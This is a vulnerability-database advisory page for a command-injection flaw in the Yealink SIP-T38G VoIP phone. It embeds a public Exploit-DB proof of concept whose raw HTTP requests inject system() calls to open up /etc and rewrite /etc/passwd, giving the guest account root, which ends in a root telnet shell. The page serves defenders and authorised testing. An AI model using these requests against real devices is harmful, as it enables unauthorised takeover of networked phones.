CVE-2013-5758

critical

Published 2014-08-03 · Modified 2026-05-06

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CVSS v3

—

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

cgi-bin/cgiServer.exx in Yealink VoIP Phone SIP-T38G allows remote authenticated users to execute arbitrary commands by calling the system method in the body of a request, as demonstrated by running unauthorized services, changing directory permissions, and modifying files.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33742 remote hardware text · 2 KB

Mr.Un1k0d3r · 2014-06-13

Yealink VoIP Phone SIP-T38G - Privilege Escalation

text exploit Source: Exploit-DB

Title: Yealink VoIP Phone SIP-T38G Privileges Escalation
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5759

Description:

Using the fact that cgiServer.exx run under the root privileges we use the
command execution (CVE-2013-5758) to modify the system file restriction.
Then we add extra privileges to the guest account.

POC:

Step 1 - Changing /etc folder right to 777:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("/bin/busybox%20chmod%20-R%20777%20/etc")

Step 2 - Change guest user uid:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("echo "root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd
")

Step 3 - Connect back using telnet and guest account (password is guest):

# id
uid=0(root) gid=0(root)

Enjoy your root shell :)

-- 
*Mr.Un1k0d3r** or 1 #*

EDB-33741 remote hardware

Mr.Un1k0d3r · 2014-06-13

Yealink VoIP Phone SIP-T38G - Remote Command Execution

Source code queued for fetch — refresh in a moment.

References

CWEs

CWE-78

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.